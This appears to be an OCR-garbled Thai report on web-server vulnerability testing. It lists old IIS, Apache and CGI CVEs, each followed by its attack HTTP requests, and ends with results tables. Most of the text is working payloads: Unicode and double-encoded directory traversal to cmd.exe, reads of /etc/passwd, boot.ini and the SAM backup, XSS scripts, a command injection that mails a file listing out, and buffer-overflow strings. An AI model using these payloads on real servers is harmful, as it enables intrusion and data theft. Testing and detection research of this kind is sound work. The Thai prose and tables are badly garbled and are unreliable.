GET /cgis/dig.cgi
GET /cgi-bin/dig.cgi

GET /cgi-bin/htsearch?config=htdig;words=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fsc

GET /cgi/dig.cgi
GET /cgis/dig.cgi
GET /bin/dig.cgi

;13799 4.18 91eina9ravedayan linsaaas LanLNNGeTIR 2000 - 0226

Sl o a
NN LAUDIR ANBDLNE

398 2000 - 0226 IIS 4.0 allows attackers to cause a denial of service by requesting a large

"Chunked Transfer Encoding Buffer Overflow Vulnerability."

buffer in-a POST or PUT command which consumes memory, aka the

Pennsiesradeya

GET /shtml.dll
GET /stealth_badfile.shtml
GET /test.shtml

GET /test.shtml?%3CSCRIPT%3Ealert(document.URL)%3C%2FSCRIPT%3E=x

GET /cgi-bin/mlog.shtml

GET /cgi-bin/shtml.ddl

GET /cgi-local/shtml.ddl

GET /cgi/shtml.ddl

GET /cgis/shtml.ddl

GET /_vti_bin/shtml.dll

GET /_vti_bin/shtml.dll/_vti_rpc
GET /_vti_bin/shtml.dll/demon.html
GET /_vti_bin/shtml.dll/nstealth.html
GET /_vti_bin/shtml.dll/tstt.htm
GET /_vti_bin/shtml.exe
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;13199 9.18 $18nN9Fasnatayai linaaaaanLNNIasTaa 2000 — 0226 (5ia)

Al o a
UNELAUDID ANBRELNE

398 2000 — 0226 IIS 4.0 allows attackers to cause a denial of service by requesting a large
buffer in a POST or PUT command which consumes memory, aka the

"Chunked Transfer Encoding Buffer Overflow Vulnerability."

s8n195evradnya

GET /_vti_bin/shtml.exe/_vti_rpc
GET /_vti_bin/shtml.exe/pipe.htm
GET /_vti_bin/shtml.exe/unc.htm
GET /bin/shtml.ddl

GET /*.shtml/

GET /cgi-bin/admins.shtml

FIN3199 9.19 328N135 a0 103 AN AIAAALIAAUNNTASTIE 2000 — 0287

Ao o a
NNELAUTID ANRELNE

T8 2000 - 0287 The BizDB CGI script bizdb-search.cgi allows remote attackers to

execute arbitrary commands via shell metacharacters in the dbname

parameter.

718N1950978403A

GET /bizdb1-search.cgi

GET /cgis/bizdb1-search.cqgi

GET /cgi-bin/bizdb1-search.cgi

GET /cgi-bin/bizdb1-search.cgi?template=bizdb-
summary&dbname=;ls|mail%20test@@test.com|&f6="a.*&
GET /cgi-local/bizdb1-search.cgi

GET /cgi/bizdb1-search.cgi

GET /egis/bizdb1-search.cgi

GET /bin/bizdb1-search.cgi
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FIN3199 9.20 31ensiasaadayai linsaaatqnunndasine 2000 — 0770

98 2000 — 0884 WAZ@Aa 2000 — 0886

aaal
NHIELAUTIR

ANBBLNE

38 2000 — 0770

IIS 4.0 and 5.0 does not properly restrict access to certain types of files
when their parent folders have less restrictive permissions, which could

allow remote attackers to bypass access restrictions to some files

98 2000 — 0884

I1S 4.0 and 5.0 allows remote attackers to read documents outside of the
web root, and possibly execute arbitrary commands, via malformed
URLs that contain UNICODE encoded characters, aka the "Web Server

Folder Traversal" vulnerability.

38 2000 — 0886

[IS 5.0 allows remote attackers to execute arbitrary commands via a
malformed request for an executable file whose name is appended with
operating system commands, aka the "Web Server File Request Parsing"

vulnerability.

718n1950928d03A

GET /bin/..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir

GET /bin/..%f0%80%80%af../..%{0%80%80%af../winnt/system32/cmd.exe?/c+dir

GET /bin/..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir

GET /bin/..%fc%80%80%80%80%af../.. %fc %80%80%80%80%af../winnt/system32/cmd.exe?/c+dir

GET /%2E%2E/%2E%2E/%2E %2E/%2E % 2E/%2E % 2E/windows/win.ini

GET /%2E%2E/%2E%2E/Program%20Files/AnalogX/SimpleServer/www/server.log

GET /%2e%2e/%2e%2e/%2€%2¢e/%2e%2e/%2e%2¢e/%2e%2e/%2e%2e/%2e%2¢e/etc/hosts

GET /%2e%2e/%2e%2e/%2e%2e/%2e%2¢e/%2e%2e/%2e%2¢e/%2e % 2¢e/etc/passwd

GET /%2e%2e/%2e%2e/%2e%2¢e/%2e%2¢e/boot.ini

GET /%2e%2¢e/%2e%2e/%2e%2¢e/%2e%2¢e/etc/passwd

GET /%2e%2e/%2e%2e/%2e%2el%2e%2e/winnt/win.ini

GET /%2e%2e/%2e%2e/%2e%2e/scandisk.log

GET /%2e%2e/%2e%2¢e/scandisk.log

GET /%3c/title%3e%3cscript%3ealert(%22xss %22) %3c/script%3e

GET /%3cscript%3ealert(%22xss%22)%3c/script%3e/

GET /%5¢%2€%2€%5¢%2e%2€%5C%2e%2e%5C%2e%2e%5cwinnt%5cwin.ini

GET /%5c..%5¢..%5c¢..%5cwindows%5cwin%2eini

GET /%5c..%5¢..%5c¢..%5cwindows%5cwin.ini

GET /%db<script>alert('lllegal%20Instruction%20Labs%200wnz%20YoU!!!');</script>/

GET /%s%s%s

GET /..%5C..%5C..%5C..%5C..%5C..%5C/boot.ini
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FIN3199 9.21 1ennsiastatayai linsaaaananuNWasdae 2000 — 0778

Al o a
UNELAUDID ANBRELNE

98 2000 - 0778 IIS 5.0 allows remote attackers to obtain source code for .ASP files and
other scripts via an HTTP GET request with a "Translate: f* header, aka

the "Specialized Header" vulnerability.

s8n195evradnya

GET /default.asp

GET /index.asp

GET Jiishelp/iis/misc/default.asp
GET /cgi-bin/DirectoryListing.asp
GET /cgi-bin/Test11.asp

GET /cgi-bin/UploadScript11.asp
GET /cgi-bin/formprocessor.asp?MailTo=test@test.com&MailFrom=test@test.net&Message=tst&MailTempl
GET /cgi-bin/ntdaddy.asp

GET /cgi-bin/source.asp

GET /cgi-bin/uploadn.asp

GET /admin.asp

GET /clients.asp

GET /debug.asp

GET /cgi-bin/store/clients.asp
GET /cgi-bin/store/pass.asp

GET /cgilusers.asp

GET /bin/password/clients.asp
GET /bin/password/pass.asp
GET /bin/password/password.asp
GET /cgi-bin/paths.asp

GET /cgi-bin/read.asp

GET /cgi-bin/readme.asp

GET /~operator/access.asp

GET /~operator/web.asp

GET /~operator/iwww.asp

GET /~root/INSTALL.asp

GET /~root/access.asp

GET /~root/adm.asp

GET /~root/admin.asp

GET /~root/admins.asp

GET /~root/backup.asp

GET /~root/check.asp

GET /~root/client.asp

GET /~root/clients.asp
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FIN399 9.22 1ennsiastadayai linsaaatanunndasiae 2001 — 0151

Al o a
UNELAUDID ANBRELNE

38 2001 — 0151 IS 5.0 allows remote attackers to cause a denial of service via a series of

malformed WebDAV requests.

9en9Fesradeya

GET /XXX, ... XXXXXXXXX

GET /XXXXXXX..... XXXXXXXXX/%20[URL=http://www.testing-are-you-a-proxy.com/]http://www.testing-ar
[CISAWN0.9.99.0.0.09.9.99.0.0.09990. 000909000000 000.9.99.090 00000000 0.0.0009 0009009 00,0904

GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

P399 9.23 318nIsFasadayai [insaaaLaAUNNasdae 2001 — 0241

aAaal o a
UNELATTID AR TLUNE

T8 2001 — 0241 Buffer overflow in Internet Printing ISAPI extension in Windows 2000
allows remote attackers to gain root privileges via a long print request that

is passed to the extension through IIS 5.0.

s8n195evradnya

GET /admisapi

GET /admisapi/fpadmin.htm

GET /ext.dlI?MfcISAPICommand=LoadPage&page=doc.htx&a0=/,,,/path/../notallowed.sam&a1=_&a2=2048&a
GET /ext.dlI?MfcISAPICommand=LoadPage&page=doc.htx&a0=/,,,/path/allowed.doc&a1=_&a2=2048&a3=8&a4
GET /ext.dlI?MfcISAPICommand=LoadPage&page=doc.htx&a0=/,, /path1/file.doc&al1=_&a2=2048&a3=8&a4=1
GET /ext.dlI?MfclISAPICommand=LoadPage&page=doc.htx&a0=/,,,/path99/doesnotexist.doc&al=_&a2=2048&
GET /isapi

GET /isapi/tstisapi.dll

GET /cgi-bin/isapi

GET /isapi
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P3N 9.24 1ennsiastadayai linsaaatanunndasine 2001 — 0333

Al o a
UNELAUDID ANBRELNE

T8 2001 - 0333 Directory traversal vulnerability in IIS 5.0 and earlier allows remote
attackers to execute arbitrary commands by encoding .. (dot dot) and "\"

characters twice.

s8n195evradnya

GET /cgi-bin/.\.\..\.\..\..\windows/system32/ping.exe

GET /cgi-bin/..\.\..\.\.\..\winnt/notepad.exe

GET /cgi-bin/..\.\.\.\.\..\winnt/system32/ping.exe

GET /cgi-bin/. \.\.\.\.\.\winnt\system32\cmd.exe?/c+dir+c:\

GET /cgi-bin/.\. AL A Wwinnt\\system32\\cmd.exe?/c+dir+c:\\
GET /cgi-bin/.\\.AL A Wwinnt\system32\cmd.exe?/c+dir+c:\
GET /cgi-bin/awl/auctionweaver.pl?flag1=1&catdir=\..\..\.\..\..\.\..\.\&fromfile=Boot.ini
GET /_vti_bin/..\%e0\%80\%af../..\%e0\%80\%af../.\%e0\%80\%af../winnt/system32/cmd.exe\?/c\+dir
GET /....\

GET 1.\

GET /.\..

GET Z.\ AL \winntwin.ini

GET /.. A\ .\ \temp\temp.class

GET /.. AL\ \winnt\system32\cmd.exe?/c+

GET /.\.\..\boot.ini

GET /.\.\..\winnt\repair\sam._

GET /.\..\windows\win.ini

GET Z.A AN \boot.ini

GET /.\.\\..\winnt\repair\sam._

GET A.\.\.\.\.\boot.ini

GET A\ \winntwin.ini

GET A.\.\..\windows\win.ini

GET /ca/. \. AL AN \winntA\win.ini

GET /ca/A\. . ALALALALAL Awindows/A\win.ini
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FIN3199 9.25 31ensiastadayai linsaaatqnunndasine 2001 — 0500

Al o a
UNELAUDID ANBELNE

3@ 2001 — 0500 Buffer overflow in ISAPI extension (idg.dll) in Index Server 2.0 and
Indexing Service 2000 in IS 6.0 beta and earlier allows remote
attackers to execute arbitrary commands via a long argument to

Internet Data Administration (.ida)

718N1950978403A

GET /blabla.idg

GET /demon.ida

GET /demon.idqg

GET /eatme.idq

GET ffiletest.ida

GET ffiletest.idg

HEAD /ida200.ida

HEAD /idg200.idq

GET /invalidfilename.ida

GET /invalidfilename.idq

GET /query.idq

GET /query.idg??CiTemplate=../../../..[./../ . /...l ;winnt/win.ini

GET /query.idg?CiTemplate=../../../.././;winnt/win.ini%20%20%20%20%20%20%20%20%20%20%20%20%20%20
GET /stealth.ida

GET /test.idq

GET ....../.....ida/con

GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
GET /a.ida?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

GET
/a.ida?CCCCCCCCCCCCCCCCCCCCCCCCereceeeeeeeecececeeeeeeeeeceecececececeeeeeeeeececcececcee
cC

GET /a.idg?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaadaaaaaaaaaaaaaaaaaaaaaaaaa

GET /null.ida?XXXXXXXXXXXKXXXEXHXKIIEXKXKIEEKEKKKXEEKHKHKKIEKHKXXEEKHKKIIEKHXKIIKHHKKXIEKHKHKIXEHKHKKIXXEXHXKXXKKXXX
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FIN3199 9.26 1ensFastatayai linsaaataauNndasine 2001 — 0507

Al o a
UNELAUDID ANBRELNE

38 2001 — 0507 IIS 5.0 uses relative paths to find system files that will run in-process,
which allows local users to gain privileges via a Trojan horse file, aka the

"System file listing privilege elevation" vulnerability.

s8n195evradnya

GET /c/inetpub/scripts/root.exe?/c+dir

GET /c/winnt/system32/cmd.exe?/c+dir

GET /cmd.exe?/c+dir

GET /cmd1.exe?/c+dir

GET /d/inetpub/scripts/root.exe?/c+dir

GET /d/winnt/system32/cmd.exe?/c+dir

GET /..%255c¢..%255cwinnt/system32/cmd.exe?/c+dir+c:

GET /Rpc/..%%35¢../..%%35c¢../..%%35¢../winnt/system32/cmd.exe?/c+dir+c:\

GET /Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+

GET /_vti_log/.%252¢e/.%252e/.%252¢e/.%252e/winnt/system32/cmd.exe?/c+dir

GET /backup/.%252e/.%252¢e/.%252¢e/.%252e/winnt/system32/cmd.exe?/c+dir

GET /bak/.%252e/.%252¢e/.%252¢e/.%252e/winnt/system32/cmd.exe?/c+dir

GET /cmsample/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dirtc:\
GET /exchange/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:

GET /fpsample/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
GET /home/.%252¢e/.%252¢e/.%252¢e/.%252e/winnt/system32/cmd.exe?/c+dir

GET /iisadmin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
GET /mail/.%252e/.%252e/.%252¢e/.%252¢e/winnt/system32/cmd.exe?/c+dir

GET /perl/.%252e/.%252e/.%252¢e/.%252¢e/winnt/system32/cmd.exe?/c+dir

GET /printers/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\

GET /printers/..%%35c../..%%35¢../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\

GET /secret/.%252e/.%252¢e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir

GET /stats/.%252e/.%252e/.%252¢/.%252¢e/winnt/system32/cmd.exe?/c+dir

GET /MSADC/..%%35¢..%%35c..%%35¢..%%35cwinnt/system32/cmd.exe?/c+dir+c:\

GET /PBServer/:.%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\

GET /PBServer/..%255c..%255¢c..%255cwinnt/system32/cmd.exe?/c+dirtc:\

GET /_vti_bin/..%255¢..%255¢..%255c¢..%255c..%255cwinnt/system32/cmd.exe?/c+dir

GET /_vti_txt/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir
GET /_vti_txt/..%255c¢..%255¢..%255c..%255¢..%255cwinnt/system32/cmd.exe?/c+dir

GET /adsamples/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir

GET /adsamples/..%255c..%255c..%255c..%255¢c..%255¢c..%255¢..%255cwinnt/system32/cmd.exe?/c+dir
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FN3199 9.26 318NN9Fasnatayai linaaaaanLNNIasTIa 2001 — 0507 (sia)

Al o a
UNELAUDID ANBRELNE

38 2001 — 0507 IIS 5.0 uses relative paths to find system files that will run in-process,

which allows local users to gain privileges via a Trojan horse file, aka the

"System file listing privilege elevation" vulnerability.

s8n195evradnya

GET /aspx/..%255¢..%255¢..%255c¢..%255c..%255cwinnt/system32/cmd.exe?/c+dir
GET /bin/..%255c..%255c..%255c..%255¢C..%255¢..%255cwinnt/system32/cmd.exe?/c+dir+c:\
GET /certadm/..%252f..%252f..%252f..%252f..%252f..%2521..%252fwinnt/system32/cmd.exe?/c+dir
GET /certenroll/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir
GET /certque/..%255c¢..%255¢..%255¢..%255¢..%255¢ .. %255¢..%255cwinnt/system32/cmd.exe?/c+dir
GET /certsrv/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir
GET /css/..%255¢..%255¢..%255¢..%255¢..%255cwinnt/system32/cmd.exe?/c+dir

GET /exchange/..%255c..%255¢c..%255¢..%255¢..%255¢../winnt/system32/cmd.exe?/c+dir+c:\

GET Jiishelp/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir
GET Jiishelp/..%255¢..%255c¢..%255c..%255¢..%255cwinnt/system32/cmd.exe?/c+dir

GET /iissamples/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir
GET Jiissamples/..%255c¢..%255¢..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir

GET /images/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir
GET /images/..%255¢..%255¢..%255¢..%255¢..%255cwinnt/system32/cmd.exe?/c+dir

GET /inc/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir

GET /inc/..%255¢..%255¢..%255¢..%255c¢..%255cwinnt/system32/cmd.exe?/c+dir

GET /include/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir
GET /include/..%255¢..%255¢..%255¢..%255c¢..%255cwinnt/system32/cmd.exe?/c+dir

GET /isapi/..%252f..%252f..%252f..%252f..%252f/system32/cmd.exe?/c+dir

GET /regsys/..%255c..%255c¢..%255c..%255¢..%255cwinnt/system32/cmd.exe?/c+dir

GET /rpc/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir

GET /samples/..%252f..%252f..%252f..%252f .%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir
GET /samples/..%255¢..%255¢..%255¢..%255¢..%255¢..%255¢..%255cwinnt/system32/cmd.exe?/c+dir

GET /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\

GET /scripts/..%255c..%255c..%255c¢..%255c..%255cwinnt/system32/cmd.exe?/c+dir

GET /cgi-bin/..%255¢..%255¢..%255¢..%255¢..%255¢../winnt/system32/cmd.exe?/c+dir+c:\

GET /cgi-bin/..%255c¢..%255c..%255¢..%255cwin2000/system32/cmd.exe?/c+dir

GET /cgi-bin/..%255c..%255c..%255c..%255cwindows/system32/cmd.exe?/c+dir

GET /cgi-bin/..%255¢..%255¢..%255¢..%255cwinnt/system32/cmd.exe?/c+dir

GET /_vti_bin/..%255¢..%255c¢..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir

GET /_vti_bin/..%255c..%255¢..%255c..%255¢c..%255c../winnt/system32/cmd.exe?/c+dir+c:\

GET /_vti_bin/..%255c..%255c..%255¢..%255cwin2000/system32/cmd.exe?/c+dir
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P399 9.27 31ennsiastadayail linsaaatanunndasiae 2002 — 0061

Al o a
UNELAUDID ANBRELNE

38 2002 — 0061 Apache for Win32 before 1.3.24, and 2.0.x before 2.0.34-beta, allows
remote attackers to execute arbitrary commands via shell metacharacters
provided as arguments to batch (.bat) or .cmd scripts, which are sent

unfiltered to the shell interpreter

718N1950978403A

GET /autoexec.bat

GET /cgi-dos/args.cmd

GET /cgi-dos/foo.cmd?xxx&dir

GET /input.bat

GET /session/pagecount?page=../../../../../..[autoexec.bat

GET /printers/somefile.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c%20dir%20C:\
GET /PBServer/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir

GET /Rpc/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir

GET /_mem_bin/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir

GET /_vti_bin/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir

GET /bin/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir

GET /cgi-bin/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c%20dir%20C:\
GET /cgi-bin/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir

GET /cgi/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir

GET /exchange/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir

GET /msadc/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c%20dir%20C:\
GET /msadc/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir

GET /samples/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir

GET /scripts/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c%20dir%20C:\
GET /cgi-bin/echo.bat

GET /cgi-bin/echo.bat?&dir+c:\

GET /cgi-bin/echo.bat?&type+d:\Progra~1\Sambar\config\passwd

GET /cgi-bin/foo.cmd?xxx&dir

GET /cgi-bin/hello.bat

GET /cgi-bin/hello.bat?&dir+c:\

GET /cgi-bin/input.bat

GET /cgi-bin/input.bat?]dir%20..\\..\\..ALALALAL AL

GET /cgi-bin/input2.bat

GET /cgi-bin/input2.bat?|dir%20..\\..\\A AL AL AL

GET /cgi-bin/script.bat%3f&dir
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FIN3199 9.28 31ensiastadayai linsaaatanuNndasing 2002 — 0082

Al o a
UNELAUDID ANBRELNE

98 2002 — 0082 The dbm and shm session cache code in mod_ss| before 2.8.7-1.3.23,

and Apache-SSL before 1.3.22+1.46, does not properly initialize memory

using the i2d_SSL_SESSION function

s8n195evradnya

GET /dbm/
GET /dbms/
GET /_vti_shm
GET /dbm
GET /dbms
GET /nul..dbm
GET /nul.dbm

F1379% 4.29 91einasiastedeyaildnsaaas LaaLNNIesTIR 2002 - 0392

Sl o a
NN LAUDIR ANRELINE

398 2002 - 0392 Apache 1.3 through 1.3.24, and Apache 2.0 through 2.0.36, allows
remote attackers to cause a denial of service and possibly execute
arbitrary code via a chunk-encoded HTTP request that causes Apache to

use an incorrect size.

9en9Fevradeya

GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasaaaaaaaaaaaaaaaaaaaaaa

GET /cgi-bin/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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FIN3199 4.30 31ensiastatayai linsaaatqnunndasing 2002 — 0513

aalal ° a
UNELAUDID ANBRELNE

98 2002 - 0513 The PHP administration script in popper_mod 1.2.1 and earlier relies on
Apache .htaccess authentication, which allows remote attackers to gain
privileges if the script is not appropriately configured by the

administrator.

718N1950978403A

GET /.HTACCESS.

GET /.cobalt/sysManage/../admin/.htaccess
GET /.htaccess

GET /.htaccess.old

GET /.htaccess~

GET /epoch/.htaccess
GET /cgis/.htaccess

GET /protected/.htaccess
GET /secure/.htaccess
GET /secured/.htaccess
GET /security/.htaccess
GET /~.htaccess

GET /cgi-bin/.htaccess.old
GET /cgi-local/.htaccess
GET /cgi/.htaccess

GET /cgis/.htaccess

GET /bin/.htaccess
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AN9197 Q.1 HANITATIREDLLAULT SN A FUBIMU0 811 aLe A 1

UHNLATALNNIDS HANNIAAADLRALINNIB
@98 1999-0021 Linuaaunngas
38 1999-0066 Tdwuqaunwsas
@38 1999-0067 Linuqaunnges
38 1999-0070 ldwuaLnnwses
W98 1999-0146 Linuaaunnses
W38 1999-0172 TdnwuqaLnngas
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WHIYLATALNNIDN HANNIAIAADLALNNIB
@38 2000-0886 AINARALNLAALINNIA
@38 2000-0941 Tinuqaunnsas
38 2001-0151 Tdnuqaunnges
T8 2001-0241 Tinuqaunnsas
38 2001-0333 FINARDUNLAALINNIA
#38 2001-0500 Tinuqaunwses
@38 2001-0507 TinuqaLnNgea
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i38 2002-0392 liwuqaunnias
38 2002-0513 Tinwuqaunnses

AN9197 2.2 HANIIATVREDLLILITSN A FUaIU LN eLUI Tl aLae R 2

UNNLLATALNNIDY HANNSANAABLIAALINNIDY
@98 1999-0021 FIIAABLNLAALINNGDY
38 1999-0066 Tinugaunnsas
W38 1999-0067 Tinuaaunnges
38 1999-0070 Tdnwugaunnsas
W8 1999-0146 Linuqaunndas
e 1999-0172 Tinugaunwdas
W98 1999:0174 Tinnaaunndas
W3a 1999-0191 Tdnwugaunngas
W98 1999-0237 Tinuaaunngas
W38 1999-0260 Tdnwugaunnsas
W38 1999-0262 Tinuaaunngas
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i38 1999-0266 Tinuqaunnsas
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WHIYLATALNNIDN HANNIAIAADLALNNIB
iaa 1999-0278 Tdnugaunnsas
T8 1999-0874 Tinuqaunnsas
@38 2000-0010 Tdnuqaunnges
i38 2000-0208 Tinuqaunnsas
@38 2000-0226 TinwugaLnnges
T8 2000-0287 Tinuqaunwses
@38 2000-0770 TinuqaLnNgea
i38 2000-0778 Tiwuqaunnias
38 2000-0884 TinuqpLNNgea
438 2000-0886 liwuqaunnias
@38 2000-0941 Tinwuqaunnses
i38 2001-0151 TiwuqaLnngas
W38 2001-0241 TdnugaLnnges
39 2001-0333 Tiwuanunwges
38 2001-0500 Tdnwuqaunnses
T8 2001-0507 TiwuqaunnIas
@38 2002-0061 Tdnuqaunnges
38 2002-0082 Tdnwugaunngas
@98 2002-0392 Tinuaaunngas

%98 2002-0513

Tdnugaunnsas
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UHILLATALNNIDN HANIAIAADLALNNIB
@38 1999-0021 Tdnugaunnsas
438 1999-0066 Tinuqaunnsas
W38 1999-0067 Tdnuqaunnges
i38 1999-0070 Tinuqaunnsas
W38 1999-0146 TinwugaLnnges
T38 1999-0172 Tinuqaunwses
W38 1999-0174 TinuqaLnNgea
i38 1999-0191 Tiwuqaunnias
W3a 1999-0237 TinuqpLNNgea
i38 1999-0260 liwuqaunnias
W38 1999-0262 Tinwuqaunnses
T8 1999-0264 TiwuqaLnngas
i3a 1999-0266 TdnugaLnnges
W98 1999-0278 Tiwuanunwges
W38 1999-0874 Tdnwuqaunnses
@38 2000-0010 TiwuqaunnIas
@38 2000-0208 Tinuaaunnges
38 2000-0226 Tdnwugaunngas
@38 2000-0287 Tinuaaunngas
@38 2000-0770 Tdnugaunnsas
@38 2000-0778 Tinuaaunngas
38 2000-0884 Tdwuqaunwias
@38 2000-0886 Tinuaaunngas
@38 2000-0941 Tdnwugaunnsas
@38 2001-0151 Tinuaaunngas
W3a 2001-0241 Tdnwugaunnsas
@38 2001-0333 Tinuaaunngas
@38 2001-0500 Tdnwugaunnsas




A137197 2.3 NANTIMNIRAAUTUETSW I FUR9U U E1ULAUTIMIRE7 3 (Fla)

WHIYLATALNNIDN HANNIAIAADLALNNIB
38 2001-0507 Tdnugaunnsas
38 2002-0061 Tinuqaunnsas
38 2002-0082 Tdnuqaunnges
i38 2002-0392 Tinuqaunnsas
38 2002-0513 TinwugaLnnges

R399 2.4 NANIIATRADLLIUT SN e Fua9utn e LU rilaLae R 4

UNNLLATFALINWT B HANIZAIAAALAALINWT BN
a8 1999-0021 Tinuamunnges
438 1999-0066 Tinuqaunnses
W38 1999-0067 TiwuqaLnnses
38 1999-0070 TinugaLnwgas
W8 1999-0146 Tdwuanunnges
W38 1999-0172 TdwuqaLnngas
e 1999-0174 TinuaALNNes
3a 1999-0191 Tdnwugaunwsas
W98 1999-0237 Tinuaaunnges
W38 1999-0260 TinwugaLnwgas
W98 1999-0262 Tinuaaunngas
W3a 1999-0264 Tdnugaunwsas
W98 1999-0266 Tinuaaunngas
e 1999-0278 Tinwugaunnsas
W38 1999-0874 Tinuaaunngas
3@ 2000-0010 Tdnwugaunnsas
@38 2000-0208 Tinuaaunngas
@38 2000-0226 AINARDLNLAALINNIA
i38 2000-0287 Tinuqaunnsas

%32 2000-0770
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WHIYLATALNNIDN HANNIAIAADLALNNIB
f3a 2000-0778 AINARALNLAALINNIA
i38 2000-0884 FIIIRABLINLIAALNNIDY
38 2000-0886 FINARDUNLAALINNID
@38 2000-0941 Tinuqaunnsas
3a 2001-0151 TinwugaLnnges
T8 2001-0241 Tinuqaunwses
38 2001-0333 AFIARDUNLFALNNIEN
i38 2001-0500 FIIAABLINLAALINNGDY
38 2001-0507 TinuqpLNNgea
i38 2002-0061 liwuqaunnias
38 2002-0082 Tinwuqaunnses
i38 2002-0392 TiwuqaLnngas
38 2002-0513 TdnugaLnnges

AN9199 4.5 HANITARADLLA LTSN AT UL eIl aLae N 5

UNNLATALNNGDN HANNIAIRAEDLALINNID
@8 1999-0021 Tinuaaunnges
38 1999-0066 TinwugaLnwgas
@38 1999-0067 Tinuaaunngas
38 1999-0070 Tdnugaunwsas
W98 1999-0146 Tinuaaunngas
e 1999-0172 Tinwugaunnsas
W98 1999-0174 Tinuaaunngas
3a 1999-0191 Tdnwugaunnsas
W98 1999-0237 Tinuaaunngas
W38 1999-0260 Tdnwugaunnsas
i38 1999-0262 Tinuqaunnsas
W38 1999-0264 Tinuqaunnges
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WHIYLATALNNIDN HANNIAIAADLALNNIB
W38 1999-0266 Tdnugaunnsas
T8 1999-0278 Tinuqaunnsas
W38 1999-0874 Tdnuqaunnges
#38 2000-0010 Tinuqaunnsas
@38 2000-0208 TinwugaLnnges
T8 2000-0226 Tinuqaunwses
@38 2000-0287 TinuqaLnNgea
#38 2000-0770 Tiwuqaunnias
@38 2000-0778 TinuqpLNNgea
438 2000-0884 liwuqaunnias
38 2000-0886 Tinwuqaunnses
@38 2000-0941 TiwuqaLnngas
W38 2001-0151 TdnugaLnnges
W8 2001-0241 Tiwuanunwges
38 2001-0333 Tdnwuqaunnses
#38 2001-0500 TiwuqaunnIas
38 2001-0507 Tdnuqaunnges
@38 2002-0061 Tdnwugaunngas
@38 2002-0082 Tinuaaunngas
38 2002-0392 Tdnugaunnsas
W38 2002-0513 Tinuaaunngas

A1519R 9.6 HANNTATIAABUI LT FWIne Sraamiaeanuuianilaniaeh 6

UHNYLATALNNIDA HANNIAIAADLALNNIB
@3a 1999-0021 Tdnwugaunnsas
@38 1999-0066 Tinuaaunngas
W38 1999-0067 Tdnwugaunnsas
@38 1999-0070 Tinuaaunngas
W38 1999-0146 Tdnwugaunnsas
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WHIYLATALNNIDN HANNIAIAADLALNNIB
W38 1999-0172 Tdnugaunnsas
T8 1999-0174 Tinuqaunnsas
W38 1999-0191 Tdnuqaunnges
T8 1999-0237 Tinuqaunnsas
